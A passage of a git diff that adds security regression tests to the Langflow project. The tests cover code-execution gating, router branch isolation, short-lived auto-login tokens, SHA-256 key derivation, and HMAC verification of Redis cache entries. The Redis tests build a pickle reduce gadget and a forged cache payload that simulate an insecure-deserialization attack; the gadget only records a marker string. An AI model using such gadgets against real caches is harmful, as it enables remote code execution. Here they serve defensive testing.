template["global_imports"]["value"] == "math" + def test_execution_refused_when_custom_components_disabled(self, monkeypatch): + """GHSA-8qpj-27x8-pwpq: run_python_repl must consult the gate, not just exec. + + Locks in the wiring: a refactor dropping ensure_code_execution_enabled() from + run_python_repl would make this fail, independent of the gate's own unit tests. + """ + from types import SimpleNamespace + + monkeypatch.setattr( + "lfx.services.deps.get_settings_service", + lambda: SimpleNamespace(settings=SimpleNamespace(allow_custom_components=False)), + ) + data = PythonREPLComponent(global_imports="math", python_code="print('SHOULD_NOT_RUN')").run_python_repl().data + assert "error" in data + assert "allow_custom_components" in data["error"] + # The code must never have executed. + assert "SHOULD_NOT_RUN" not in str(data) + class TestPythonREPLToolComponentSecurity: """The same hardening applies to the legacy Python REPL *tool* component.""" @@ -150,3 +168,18 @@ class TestPythonREPLToolComponentSecurity: func("leaked = 12345") result = func("print(leaked)") assert "NameError" in result + + def test_execution_refused_when_custom_components_disabled(self, monkeypatch): + """GHSA-8qpj-27x8-pwpq: run_python_code must consult the gate, not just exec. + + Locks in the wiring: a refactor dropping ensure_code_execution_enabled() from + run_python_code would make this fail, independent of the gate's own unit tests. + """ + from types import SimpleNamespace + + monkeypatch.setattr( + "lfx.services.deps.get_settings_service", + lambda: SimpleNamespace(settings=SimpleNamespace(allow_custom_components=False)), + ) + with pytest.raises(ToolException, match="allow_custom_components"): + self._func()("print('SHOULD_NOT_RUN')") diff --git a/src/backend/tests/unit/graph/graph/test_branch_traversal.py b/src/backend/tests/unit/graph/graph/test_branch_traversal.py new file mode 100644 index 0000000000..b5ff0a10a0 --- /dev/null +++ b/src/backend/tests/unit/graph/graph/test_branch_traversal.py @@ -0,0 +1,60 @@ +from lfx.custom.custom_component.component import Component +from lfx.graph.graph.base import Graph +from lfx.graph.vertex.base import VertexStates +from lfx.io import MessageTextInput, Output +from lfx.schema.message import Message + + +class TwoOutputSource(Component): + display_name = "Two Output Source" + name = "TwoOutputSource" + + inputs = [MessageTextInput(name="feedback", display_name="Feedback", required=False)] + outputs = [ + Output(display_name="Item", name="item", method="item_output", group_outputs=True), + Output(display_name="Done", name="done", method="done_output", group_outputs=True), + ] + + def item_output(self) -> Message: + return Message(text="item") + + def done_output(self) -> Message: + return Message(text="done") + + +class PassThrough(Component): + display_name = "Pass Through" + name = "PassThrough" + + inputs = [MessageTextInput(name="input_value", display_name="Input", required=False)] + outputs = [Output(display_name="Out", name="out", method="run")] + + def run(self) -> Message: + return Message(text=str(self.input_value or "")) + + +def test_stopping_sibling_output_does_not_protect_branch_through_feedback_cycle(): + """A feedback edge back to the source must not make sibling outputs look shared.""" + graph = Graph() + source = TwoOutputSource(_id="source") + body = PassThrough(_id="body") + feedback = PassThrough(_id="feedback") + done = PassThrough(_id="done") + + for component, component_id in ( + (source, "source"), + (body, "body"), + (feedback, "feedback"), + (done, "done"), + ): + graph.add_component(component, component_id) + + graph.add_component_edge("source", ("item", "input_value"), "body") + graph.add_component_edge("body", ("out", "input_value"), "feedback") + graph.add_component_edge("feedback", ("out", "feedback"), "source") + graph.add_component_edge("source", ("done", "input_value"), "done") + graph.prepare() + + graph.mark_branch("source", VertexStates.INACTIVE, output_name="done") + + assert graph.get_vertex("done").state == VertexStates.INACTIVE diff --git a/src/backend/tests/unit/graph/graph/test_smart_router_branch_isolation.py b/src/backend/tests/unit/graph/graph/test_smart_router_branch_isolation.py new file mode 100644 index 0000000000..dbe4074e18 --- /dev/null +++ b/src/backend/tests/unit/graph/graph/test_smart_router_branch_isolation.py @@ -0,0 +1,416 @@ +"""Graph-level regression tests for Smart Router branch isolation. + +Reproduces https://github.com/langflow-ai/langflow/issues/13440: the branch that the +LLM does *not* select must not continue into its downstream nodes. The bug only surfaced +once a branch reconverged on a shared downstream node, because ``stop()`` alone marks a +branch INACTIVE for a single scheduling pass and that state is reset between passes -- a +re-activated branch was then picked up again through the shared node. Smart Router now also +records a *persistent* conditional exclusion (like the If-Else router). + +These tests drive the real graph engine and the real ``process_case`` / ``default_response`` +routing logic; only the LLM categorization is stubbed so the assertions are deterministic. + +The persistent-exclusion mechanism lives in ``Graph.exclude_branch_conditionally`` and is +shared with the If-Else router (``ConditionalRouterComponent``). The final test guards that +shared path with the same reconvergence scenario: it would have failed before this fix +because the merge node was excluded along with the unselected branch and never ran. +""" + +from lfx.components.flow_controls.conditional_router import ConditionalRouterComponent +from lfx.components.llm_operations.llm_conditional_router import SmartRouterComponent +from lfx.custom.custom_component.component import Component +from lfx.graph.graph.base import Graph +from lfx.io import HandleInput, MessageTextInput, Output +from lfx.schema.message import Message + + +class _StubbedSmartRouter(SmartRouterComponent): + """Smart Router with deterministic categorization (no real LLM call). + + The static ``outputs`` mirror exactly what ``update_outputs`` produces for the routes + used in these tests (``category_{i}_result`` + optional ``default_result``), so the real + routing code under test is exercised unchanged. + """ + + forced_category = "Positive" + + outputs = [ + Output(display_name="Positive", name="category_1_result", method="process_case", group_outputs=True), + Output(display_name="Negative", name="category_2_result", method="process_case", group_outputs=True), + ] + + def _get_categorization(self) -> str: + self._categorization_result = self.forced_category + return self.forced_category + + +class _ThreeRouteSmartRouter(_StubbedSmartRouter): + """Three-route variant to exercise excluding more than one unselected branch.""" + + outputs = [ + Output(display_name="Positive", name="category_1_result", method="process_case", group_outputs=True), + Output(display_name="Neutral", name="category_2_result", method="process_case", group_outputs=True), + Output(display_name="Negative", name="category_3_result", method="process_case", group_outputs=True), + ] + + +class _ElseSmartRouter(_StubbedSmartRouter): + """Two routes plus an Else output, to exercise the ``default_result`` deactivation path. + + Mirrors what ``update_outputs`` produces when ``enable_else_output=True``: the two + ``category_{i}_result`` outputs plus a ``default_result`` output bound to + ``default_response``. + """ + + outputs = [ + Output(display_name="Positive", name="category_1_result", method="process_case", group_outputs=True), + Output(display_name="Negative", name="category_2_result", method="process_case", group_outputs=True), + Output(display_name="Else", name="default_result", method="default_response", group_outputs=True), + ] + + +class RecordingSink(Component): + display_name = "Recording Sink" + name = "RecordingSink" + + inputs = [MessageTextInput(name="input_value", display_name="Input", required=False)] + outputs = [Output(display_name="Out", name="out", method="run_sink")] + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.did_run = False + + def run_sink(self) -> Message: + self.did_run = True + return Message(text=f"ran:{self._id}") + + +class MergeSink(Component): + display_name = "Merge Sink" + name = "MergeSink" + + inputs = [ + MessageTextInput(name="in1", display_name="In1", required=False), + MessageTextInput(name="in2", display_name="In2", required=False), + MessageTextInput(name="in3", display_name="In3", required=False), + ] + outputs = [Output(display_name="Out", name="out", method="run_merge")] + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.did_run = False + self.received: dict[str, object] = {} + + def run_merge(self) -> Message: + self.did_run = True + self.received = { + "in1": getattr(self, "in1", None), + "in2": getattr(self, "in2", None), + "in3": getattr(self, "in3", None), + } + return Message(text="merged") + + +class ListMergeSink(Component): + """Merge node with a single ``is_list=True`` input fed by several branches. + + Records exactly what landed in the list so a stray contribution from an excluded + predecessor (the input's template default) is observable. + """ + + display_name = "List Merge Sink" + name = "ListMergeSink" + + inputs = [HandleInput(name="items", display_name="Items", input_types=["Message"], is_list=True, required=False)] + outputs = [Output(display_name="Out", name="out", method="run_merge")] + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.did_run = False + self.received_items: list = [] + + def run_merge(self) -> Message: + self.did_run = True + self.received_items = list(self.items or []) + return Message(text="merged") + + +def _make_router(router_cls, routes, **extra): + router = router_cls(_id="router") + router.set(input_text="I love this product!", routes=routes, **extra) + return router + + +async def _run(graph: Graph) -> list[str]: + graph.prepare() + return [result.vertex.id async for result in graph.async_start() if hasattr(result, "vertex")] + + +_TWO_ROUTES = [ + {"route_category": "Positive", "route_description": "good", "output_value": ""}, + {"route_category": "Negative", "route_description": "bad", "output_value": ""}, +] + + +async def test_unselected_branch_does_not_run_separate_leaves(): + """Each route feeds its own leaf: only the matched route's leaf runs.""" + router = _make_router(_StubbedSmartRouter, _TWO_ROUTES) + selected, unselected = RecordingSink(_id="selected"), RecordingSink(_id="unselected") + + graph = Graph() + graph.add_component(router, "router") + graph.add_component(selected, "selected") + graph.add_component(unselected, "unselected") + graph.add_component_edge("router", ("category_1_result", "input_value"), "selected") + graph.add_component_edge("router", ("category_2_result", "input_value"), "unselected") + + yielded = await _run(graph) + + assert selected.did_run is True + assert unselected.did_run is False + assert "unselected" not in yielded + + +async def test_unselected_branch_does_not_run_when_branches_reconverge(): + """Regression for #13440. + + Branches reconverging on a shared downstream node must not re-run the unselected branch. + """ + router = _make_router(_StubbedSmartRouter, _TWO_ROUTES) + selected, unselected = RecordingSink(_id="selected"), RecordingSink(_id="unselected") + merge = MergeSink(_id="merge") + + graph = Graph() + graph.add_component(router, "router") + graph.add_component(selected, "selected") + graph.add_component(unselected, "unselected") + graph.add_component(merge, "merge") + graph.add_component_edge("router", ("category_1_result", "input_value"), "selected") + graph.add_component_edge("router", ("category_2_result", "input_value"), "unselected") + graph.add_component_edge("selected", ("out", "in1"), "merge") + graph.add_component_edge("unselected", ("out", "in2"), "merge") + + yielded = await _run(graph) + + assert selected.did_run is True + assert unselected.did_run is False, "Unselected branch executed despite not being routed to" + assert merge.did_run is True, "Merge node should execute from selected branch" + assert "unselected" not in yielded + assert "merge" in yielded + + +async def test_unselected_branch_does_not_run_when_outputs_share_node_directly(): + """Regression for the exact shape in LE-1427 / Alice's report. + + Both router outputs connect *directly* to the same downstream node (no intermediate + branch nodes): ``router.category_1_result -> shared.in1`` and + ``router.category_2_result -> shared.in2``. The matched output feeds the shared node; + the unselected output is excluded but must not stop the shared node from running once. + + This complements ``test_unselected_branch_does_not_run_when_branches_reconverge`` (which + routes through intermediate nodes): here the router is the immediate predecessor of the + merge, so the shared node is reachable from a sibling output of the *router itself*. + """ + router = _make_router(_StubbedSmartRouter, _TWO_ROUTES) + shared = MergeSink(_id="shared") + + graph = Graph() + graph.add_component(router, "router") + graph.add_component(shared, "shared") + graph.add_component_edge("router", ("category_1_result", "in1"), "shared") + graph.add_component_edge("router", ("category_2_result", "in2"), "shared") + + yielded = await _run(graph) + + assert shared.did_run is True, "Shared node should run once from the matched output" + assert getattr(shared.received["in1"], "text", shared.received["in1"]) == "I love this product!" + assert getattr(shared.received["in2"], "text", shared.received["in2"]) == "" + assert "shared" in yielded + + +async def test_list_input_merge_excludes_unselected_branch_contribution(): + """A shared ``is_list=True`` input must not collect the excluded branch's template default. + + When both the selected and the unselected branch feed the same list input, the excluded + predecessor is never built. Pulling a value for it would return the input's template + default (an empty ``Message``/``""``) and inject a stray element next to the real one. + Only the selected branch should contribute. + """ + router = _make_router(_StubbedSmartRouter, _TWO_ROUTES) + selected, unselected = RecordingSink(_id="selected"), RecordingSink(_id="unselected") + merge = ListMergeSink(_id="merge") + + graph = Graph() + graph.add_component(router, "router") + graph.add_component(selected, "selected") + graph.add_component(unselected, "unselected") + graph.add_component(merge, "merge") + graph.add_component_edge("router", ("category_1_result", "input_value"), "selected") + graph.add_component_edge("router", ("category_2_result", "input_value"), "unselected") + graph.add_component_edge("selected", ("out", "items"), "merge") + graph.add_component_edge("unselected", ("out", "items"), "merge") + + await _run(graph) + + assert selected.did_run is True + assert unselected.did_run is False + assert merge.did_run is True + # Only the selected branch contributes: exactly one element, no stray template-default ''. + texts = [getattr(item, "text", item) for item in merge.received_items] + assert texts == ["ran:selected"], f"merge collected a stray element: {merge.received_items!r}" + + +def _make_if_else_router(): + """If-Else router whose condition evaluates True, so it routes to ``true_result``.""" + router = ConditionalRouterComponent(_id="router") + router.set(input_text="go", match_text="go", operator="equals") + return router + + +async def test_if_else_unselected_branch_does_not_run_when_branches_reconverge(): + """Reconvergence regression for the shared If-Else routing path. + + ``ConditionalRouterComponent`` (If-Else) drives the same persistent + ``Graph.exclude_branch_conditionally`` mechanism as Smart Router. When its branches + reconverge on a shared downstream node, the unselected branch must stay excluded while + the shared node still runs from the selected branch. Before the exclusion logic learned + to keep a sibling output's shared descendants, the merge node was excluded too and never + ran -- so this guards a real (and previously latent) If-Else behavior, not only the new + Smart Router code. + """ + router = _make_if_else_router() # condition True -> routes to ``true_result`` + selected, unselected = RecordingSink(_id="selected"), RecordingSink(_id="unselected") + merge = MergeSink(_id="merge") + + graph = Graph() + graph.add_component(router, "router") + graph.add_component(selected, "selected") + graph.add_component(unselected, "unselected") + graph.add_component(merge, "merge") + graph.add_component_edge("router", ("true_result", "input_value"), "selected") + graph.add_component_edge("router", ("false_result", "input_value"), "unselected") + graph.add_component_edge("selected", ("out", "in1"), "merge") + graph.add_component_edge("unselected", ("out", "in2"), "merge") + + yielded = await _run(graph) + + assert selected.did_run is True + assert unselected.did_run is False, "Unselected If-Else branch executed despite the condition routing elsewhere" + assert merge.did_run is True, "Merge node should execute from the selected branch" + assert "unselected" not in yielded + assert "merge" in yielded + + +async def test_only_matched_branch_runs_with_three_routes(): + """With three routes, both unselected branches must be excluded (not just the last one).""" + three_routes = [ + {"route_category": "Positive", "route_description": "good", "output_value": ""}, + {"route_category": "Neutral", "route_description": "meh", "output_value": ""}, + {"route_category": "Negative", "route_description": "bad", "output_value": ""}, + ] + router = _make_router(_ThreeRouteSmartRouter, three_routes) + router.forced_category = "Neutral" # select the middle route + + sink1, sink2, sink3 = (RecordingSink(_id="sink1"), RecordingSink(_id="sink2"), RecordingSink(_id="sink3")) + merge = MergeSink(_id="merge") + + graph = Graph() + for comp, cid in ((router, "router"), (sink1, "sink1"), (sink2, "sink2"), (sink3, "sink3"), (merge, "merge")): + graph.add_component(comp, cid) + graph.add_component_edge("router", ("category_1_result", "input_value"), "sink1") + graph.add_component_edge("router", ("category_2_result", "input_value"), "sink2") + graph.add_component_edge("router", ("category_3_result", "input_value"), "sink3") + graph.add_component_edge("sink1", ("out", "in1"), "merge") + graph.add_component_edge("sink2", ("out", "in2"), "merge") + graph.add_component_edge("sink3", ("out", "in3"), "merge") + + await _run(graph) + + assert sink2.did_run is True, "Matched (middle) branch should run" + assert sink1.did_run is False, "Unselected branch 1 should not run" + assert sink3.did_run is False, "Unselected branch 3 should not run" + + +async def test_else_branch_does_not_run_when_a_route_matches(): + """With ``enable_else_output=True`` and a matched route, the Else branch must not run. + + The ``default_result`` (Else) output feeds its own leaf. On a match the router excludes + that branch: ``process_case`` appends ``default_result`` to its deactivation list and + ``default_response`` also calls ``_deactivate_branches(["default_result"])``. Both paths + run, so this guards the *aggregate* Else-exclusion behavior (the two paths are redundant, + so it does not isolate either one). The Else leaf must stay unrun while the matched leaf + and the merge node fed by the selected branch still run. + """ + router = _make_router(_ElseSmartRouter, _TWO_ROUTES, enable_else_output=True) + router.forced_category = "Positive" # matches route 1 -> Else must be excluded + + selected, unselected = RecordingSink(_id="selected"), RecordingSink(_id="unselected") + else_leaf = RecordingSink(_id="else_leaf") + merge = MergeSink(_id="merge") + + graph = Graph() + for comp, cid in ( + (router, "router"), + (selected, "selected"), + (unselected, "unselected"), + (else_leaf, "else_leaf"), + (merge, "merge"), + ): + graph.add_component(comp, cid) + graph.add_component_edge("router", ("category_1_result", "input_value"), "selected") + graph.add_component_edge("router", ("category_2_result", "input_value"), "unselected") + # The Else output feeds its own (dead-end) leaf. + graph.add_component_edge("router", ("default_result", "input_value"), "else_leaf") + # The selected branch reconverges with the (excluded) unselected branch on the merge node. + graph.add_component_edge("selected", ("out", "in1"), "merge") + graph.add_component_edge("unselected", ("out", "in2"), "merge") + + yielded = await _run(graph) + + assert selected.did_run is True + assert unselected.did_run is False, "Unselected route branch executed despite the match" + assert else_leaf.did_run is False, "Else branch executed despite a matched route" + assert merge.did_run is True, "Merge node should execute from the selected branch" + assert "else_leaf" not in yielded + assert "merge" in yielded + + +async def test_else_branch_runs_when_no_route_matches(): + """With ``enable_else_output=True`` and no matched route, only the Else branch runs. + + Complements the match case: ``default_response`` takes its no-match path (returns the + input as default) so the Else leaf runs, while every ``category_{i}_result`` branch is + deactivated by ``process_case`` and stays unrun. + """ + router = _make_router(_ElseSmartRouter, _TWO_ROUTES, enable_else_output=True) + router.forced_category = "NONE" # no route matches -> Else is the only live branch + + selected, unselected = RecordingSink(_id="selected"), RecordingSink(_id="unselected") + else_leaf = RecordingSink(_id="else_leaf") + + graph = Graph() + for comp, cid in ( + (router, "router"), + (selected, "selected"), + (unselected, "unselected"), + (else_leaf, "else_leaf"), + ): + graph.add_component(comp, cid) + graph.add_component_edge("router", ("category_1_result", "input_value"), "selected") + graph.add_component_edge("router", ("category_2_result", "input_value"), "unselected") + graph.add_component_edge("router", ("default_result", "input_value"), "else_leaf") + + yielded = await _run(graph) + + assert else_leaf.did_run is True, "Else branch should run when no route matches" + assert selected.did_run is False, "Route branch 1 should not run when no route matches" + assert unselected.did_run is False, "Route branch 2 should not run when no route matches" + assert "else_leaf" in yielded + + +def test_update_outputs_names_match_routing_contract(): + """Guard the output-name contract the routing logic relies on (category_{i}_result).""" + component = SmartRouterComponent() + frontend_node = component.update_outputs({"outputs": []}, "routes", _TWO_ROUTES) + names = [o.name for o in frontend_node["outputs"]] + assert names == ["category_1_result", "category_2_result"] diff --git a/src/backend/tests/unit/services/auth/test_auth_service.py b/src/backend/tests/unit/services/auth/test_auth_service.py index ce98924602..2707e24e7b 100644 --- a/src/backend/tests/unit/services/auth/test_auth_service.py +++ b/src/backend/tests/unit/services/auth/test_auth_service.py @@ -230,6 +230,41 @@ async def test_authenticate_with_credentials_auto_login_skip_missing_superuser_r await auth_service.authenticate_with_credentials(token=None, api_key=None, db=AsyncMock()) +@pytest.mark.anyio +async def test_auto_login_longterm_token_is_short_lived_with_refresh( + auth_service: AuthService, + auth_settings: AuthSettings, +): + """auto_login must not mint a 365-day superuser token. + + Regression for GHSA-fjgc-vj2f-77hm: create_user_longterm_token + previously issued a 365-day access token with no refresh token. It must now + issue a normally-scoped access token (ACCESS_TOKEN_EXPIRE_SECONDS) plus a + refresh token. + """ + auth_settings.AUTO_LOGIN = True + auth_settings.SUPERUSER = "admin" + superuser = _dummy_user(uuid4()) + + with ( + patch("langflow.services.auth.service.get_user_by_username", new=AsyncMock(return_value=superuser)), + patch("langflow.services.auth.service.update_user_last_login_at", new=AsyncMock()), + ): + user_id, tokens = await auth_service.create_user_longterm_token(AsyncMock()) + + assert user_id == superuser.id + # A refresh token is now issued (previously None). + assert tokens["refresh_token"] + + # The access token lifetime is bounded by ACCESS_TOKEN_EXPIRE_SECONDS (60 in + # the fixture), nowhere near a year. + claims = jwt.decode(tokens["access_token"], options={"verify_signature": False}) + lifetime = claims["exp"] - int(datetime.now(timezone.utc).timestamp()) + assert lifetime > 0 + assert lifetime <= auth_settings.ACCESS_TOKEN_EXPIRE_SECONDS + 5 + assert lifetime < 60 * 60 * 24 # far below a day, definitely not 365 days + + @pytest.mark.anyio async def test_authenticate_with_credentials_auto_login_skip_empty_superuser_config_raises(): """AUTO_LOGIN + skip_auth_auto_login with an empty SUPERUSER config rejects without a DB lookup. @@ -356,7 +391,7 @@ def test_encrypt_decrypt_roundtrip_with_base64_encoded_32_byte_key(tmp_path): def test_encrypt_decrypt_roundtrip_with_short_key(tmp_path): - """Keys shorter than 32 chars use the random.seed path and must work.""" + """Keys shorter than 32 chars use the SHA-256 derivation and must work.""" raw_key = "short-key" settings = AuthSettings(CONFIG_DIR=str(tmp_path)) @@ -405,6 +440,42 @@ def test_ensure_fernet_key_with_44_char_key(): assert fernet.decrypt(encrypted) == b"test-value" +def test_ensure_fernet_key_short_key_uses_sha256_derivation(): + """Short-key derivation must be the SHA-256 hash, not the old PRNG output. + + Regression for GHSA-jxw3-mjmx-3pqm: the key was previously derived with + ``random.seed(secret_key)`` + ``random.getrandbits`` — a predictable, + non-cryptographic PRNG. The guard that catches that regression is the + SHA-256 equality below: the derived key must equal + ``base64.urlsafe_b64encode(sha256(secret))``, which the old PRNG path could + never produce. + + The random-state perturbation between the two calls is only a determinism + sanity check. On its own it would *not* catch the old bug — the vulnerable + code re-seeded with the secret on every call, so it was deterministic per + secret too; the SHA-256 assertion is what proves the path actually changed. + """ + import base64 + import hashlib + import random + + from langflow.services.auth.utils import ensure_fernet_key + + raw_key = "short-key" # < 32 chars -> derivation branch + + random.seed(0) + key_a = ensure_fernet_key(raw_key) + random.seed(123456789) + _ = [random.random() for _ in range(100)] # noqa: S311 # perturb global PRNG state + key_b = ensure_fernet_key(raw_key) + + # Determinism sanity check (held under the old impl too — not the regression guard). + assert key_a == key_b + # Regression guard: the key must be the SHA-256 derivation, not random.getrandbits output. + expected = base64.urlsafe_b64encode(hashlib.sha256(raw_key.encode()).digest()) + assert key_a == expected + + def test_password_helpers_roundtrip(auth_service: AuthService): password = "Str0ngP@ssword" # noqa: S105 # pragma: allowlist secret diff --git a/src/backend/tests/unit/services/cache/test_redis_cache.py b/src/backend/tests/unit/services/cache/test_redis_cache.py index ded23ecaa2..febcdbfa68 100644 --- a/src/backend/tests/unit/services/cache/test_redis_cache.py +++ b/src/backend/tests/unit/services/cache/test_redis_cache.py @@ -1,9 +1,12 @@ """Tests for RedisCache teardown functionality.""" +import ssl from unittest.mock import AsyncMock, patch +import fakeredis import pytest from langflow.services.cache.service import RedisCache +from lfx.services.cache.utils import CACHE_MISS @pytest.mark.asyncio @@ -86,3 +89,191 @@ class TestRedisCacheTeardown: await cache.teardown() mock_client.aclose.assert_called_once() + + +_MARKER_PATH_HOLDER: list[str] = [] + + +def _deser_side_effect(path: str) -> str: + """Module-level callable used as a pickle reduce gadget in the test below.""" + _MARKER_PATH_HOLDER.append(path) + return path + + +class _Gadget: + """A picklable object whose deserialization would run _deser_side_effect.""" + + def __init__(self, path: str) -> None: + self.path = path + + def __reduce__(self): + return (_deser_side_effect, (self.path,)) + + +@pytest.mark.asyncio +class TestRedisCacheDeserializationIntegrity: + """Regression (insecure dill.loads of untrusted Redis bytes).""" + + async def test_get_rejects_payload_without_valid_hmac(self): + """A payload lacking a valid HMAC tag must not be deserialized (no gadget run).""" + import dill + from lfx.services.cache.utils import CACHE_MISS + + _MARKER_PATH_HOLDER.clear() + with patch("redis.asyncio.StrictRedis") as mock_redis_class: + mock_client = AsyncMock() + mock_redis_class.return_value = mock_client + cache = RedisCache(host="localhost", port=6379, db=0, expiration_time=3600) + cache._signing_key = b"k" * 32 # inject a fixed key (no settings dependency) + + # Attacker-written value: a reduce gadget, prefixed with a WRONG 32-byte tag. + forged = b"\x00" * cache._HMAC_DIGEST_SIZE + dill.dumps(_Gadget("gadget-ran")) + mock_client.get.return_value = forged + + result = await cache.get("k") + + assert result is CACHE_MISS # rejected before dill.loads + assert _MARKER_PATH_HOLDER == [] # gadget never executed + + async def test_get_rejects_payload_shorter_than_tag(self): + """A value too short to even hold a tag is a miss (cheapest attacker write).""" + from lfx.services.cache.utils import CACHE_MISS + + with patch("redis.asyncio.StrictRedis") as mock_redis_class: + mock_client = AsyncMock() + mock_redis_class.return_value = mock_client + cache = RedisCache(host="localhost", port=6379, db=0, expiration_time=3600) + cache._signing_key = b"k" * 32 + + # Fewer bytes than the HMAC tag length: rejected before any slicing/HMAC. + mock_client.get.return_value = b"short" + + assert await cache.get("k") is CACHE_MISS + + async def test_set_get_roundtrip_with_signature(self): + """Values written by set() carry a valid tag and round-trip through get().""" + with patch("redis.asyncio.StrictRedis") as mock_redis_class: + mock_client = AsyncMock() + mock_redis_class.return_value = mock_client + cache = RedisCache(host="localhost", port=6379, db=0, expiration_time=3600) + cache._signing_key = b"k" * 32 + + store: dict[str, bytes] = {} + + async def fake_setex(key, _ttl, value): + store[key] = value + return True + + async def fake_get(key): + return store.get(key) + + mock_client.setex.side_effect = fake_setex + mock_client.get.side_effect = fake_get + + await cache.set("k", {"a": 1, "b": [2, 3]}) + assert await cache.get("k") == {"a": 1, "b": [2, 3]} + + async def test_get_rejects_payload_replayed_under_different_key(self): + """A validly-signed entry must not verify when relocated to another key. + + The integrity tag is bound to the namespaced Redis key, so copying a + legitimately-signed payload from key ``a`` into the slot for key ``b`` + (cross-key substitution) is rejected as a miss instead of deserialized. + """ + from lfx.services.cache.utils import CACHE_MISS + + with patch("redis.asyncio.StrictRedis") as mock_redis_class: + mock_client = AsyncMock() + mock_redis_class.return_value = mock_client + cache = RedisCache(host="localhost", port=6379, db=0, expiration_time=3600) + cache._signing_key = b"k" * 32 + + store: dict[str, bytes] = {} + + async def fake_setex(key, _ttl, value): + store[key] = value + return True + + async def fake_get(key): + return store.get(key) + + mock_client.setex.side_effect = fake_setex + mock_client.get.side_effect = fake_get + + # Write a real, validly-signed entry under key "a". + await cache.set("a", {"secret": "for-a"}) + assert await cache.get("a") == {"secret": "for-a"} + + # Attacker relocates a's signed bytes into b's namespaced slot. + store[cache._key("b")] = store[cache._key("a")] + + # The tag was bound to "a"'s key, so it fails verification under "b". + assert await cache.get("b") is CACHE_MISS + + +@pytest.mark.asyncio +class TestRedisCacheSerialization: + """Test that RedisCache degrades gracefully on unpicklable values. + + Live objects built during a flow run (e.g. an LLM client holding an + ``ssl.SSLContext``, httpx clients, thread locks) cannot be serialized. The + cache write must not crash the flow build; the value should simply be + skipped. See https://github.com/langflow-ai/langflow/issues/13764. + """ + + def _cache(self) -> RedisCache: + with patch("redis.asyncio.StrictRedis"): + cache = RedisCache(expiration_time=3600) + cache._client = fakeredis.FakeAsyncRedis() + return cache + + async def test_set_unpicklable_value_does_not_raise(self): + """An unpicklable value (SSLContext) is skipped instead of raising. + + ``dill.dumps`` raises a bare ``TypeError`` for an ``SSLContext`` (not a + ``pickle.PicklingError``), so the original narrow ``except`` let it + escape and crash the build. + """ + cache = self._cache() + value = {"result": {"built_object": ssl.create_default_context()}, "type": dict} + + # Should not raise (previously raised TypeError: cannot pickle 'SSLContext'). + await cache.set("vertex-id", value) + + # The value was skipped, so a later read is a cache miss rather than stale data. + assert await cache.get("vertex-id") is CACHE_MISS + + async def test_upsert_unpicklable_value_does_not_raise(self): + """upsert() (used by the build cache path) also degrades gracefully.""" + cache = self._cache() + value = {"built_object": ssl.create_default_context()} + + await cache.upsert("vertex-id", value) + + assert await cache.get("vertex-id") is CACHE_MISS + + async def test_picklable_value_still_round_trips(self): + """Regression: ordinary picklable values continue to cache and load.""" + cache = self._cache() + value = {"a": 1, "b": [1, 2, 3], "c": {"nested": True}} + + await cache.set("ok-key", value) + + assert await cache.get("ok-key") == value + + async def test_unpicklable_set_evicts_stale_value(self): + """A skipped write must drop any previously cached value for that key. + + ``upsert`` is get -> merge -> set; if a later value is unserializable we + skip the write, but a stale entry left in Redis would be served on the + next get() instead of triggering recomputation. + """ + cache = self._cache() + await cache.set("vertex-id", {"built_object": "old-serializable"}) + assert await cache.get("vertex-id") == {"built_object": "old-serializable"} + + # New value for the same key is unserializable -> write skipped... + await cache.upsert("vertex-id", {"built_object": ssl.create_default_context()}) + + # ...and the stale entry is gone, so the next access recomputes. + assert await cache.get("vertex-id") is CACHE_MISS diff --git a/src/backend/tests/unit/services/database/test_alembic_log_path.py b/src/backend/tests/unit/services/database/test_alembic_log_path.py new file mode 100644 index 0000000000..083d3d65b1 --- /dev/null +++ b/src/backend/tests/unit/services/database/test_alembic_log_path.py @@ -0,0 +1,166 @@ +"""Tests for Alembic migration-log path resolution and read-only resilience. + +Regression coverage for https://github.com/langflow-ai/langflow/issues/11143: +the default Alembic log path resolved into the installed package directory, +which is read-only in hardened container/Kubernetes deployments (non-root user +or read-only root filesystem). Opening it for writing raised an unhandled +``OSError: [Errno 30] Read-only file system`` and crashed startup +(CrashLoopBackOff). + +The fix: +1. Relative log paths resolve against the writable ``config_dir`` instead of the + package directory (root cause). +2. Opening the log and initializing it both degrade gracefully to stdout when + the target is not writable, since the migration log is diagnostic-only and + must never abort startup (defense in depth). +""" + +import errno +import os +import stat +import sys +from pathlib import Path +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest +from langflow.services.database.service import DatabaseService + + +def _make_service( + *, + config_dir: str, + alembic_log_file: str = "alembic/alembic.log", + alembic_log_to_stdout: bool = False, +) -> DatabaseService: + """Construct a DatabaseService with a mocked settings service. + + The engine is patched out (mirrors the existing Windows/Postgres tests); + only the settings relevant to log-path resolution are populated. + """ + mock_settings_service = MagicMock() + settings = mock_settings_service.settings + settings.database_url = "sqlite:///test.db" + settings.database_connection_retry = False + settings.sqlite_pragmas = {} + settings.db_driver_connection_settings = None + settings.db_connection_settings = {} + settings.alembic_log_file = alembic_log_file + settings.alembic_log_to_stdout = alembic_log_to_stdout + settings.config_dir = config_dir + + with patch("langflow.services.database.service.create_async_engine", return_value=MagicMock()): + return DatabaseService(mock_settings_service) + + +# --------------------------------------------------------------------------- +# Path resolution (root cause) +# --------------------------------------------------------------------------- + + +class TestAlembicLogPathResolution: + def test_relative_path_resolves_under_config_dir_not_package(self, tmp_path): + """A relative log path must resolve under the writable config_dir. + + It must NOT resolve into the installed langflow package directory, which + is the read-only location that caused the crash. + """ + import langflow + + service = _make_service(config_dir=str(tmp_path), alembic_log_file="alembic/alembic.log") + + assert service.alembic_log_path == tmp_path / "alembic" / "alembic.log" + # Guard against regressing to the package directory. + package_dir = Path(langflow.__file__).parent.resolve() + assert package_dir not in service.alembic_log_path.resolve().parents + + def test_absolute_path_is_preserved(self, tmp_path): + """An absolute LANGFLOW_ALEMBIC_LOG_FILE is used verbatim.""" + absolute = tmp_path / "custom" / "alembic.log" + service = _make_service(config_dir=str(tmp_path), alembic_log_file=str(absolute)) + assert service.alembic_log_path == absolute + + def test_stdout_mode_yields_no_path(self, tmp_path): + """When logging to stdout, no file path is resolved.""" + service = _make_service(config_dir=str(tmp_path), alembic_log_to_stdout=True) + assert service.alembic_log_path is None + + +# --------------------------------------------------------------------------- +# _open_alembic_log_buffer (the actual crash point) +# --------------------------------------------------------------------------- + + +class TestOpenAlembicLogBuffer: + def 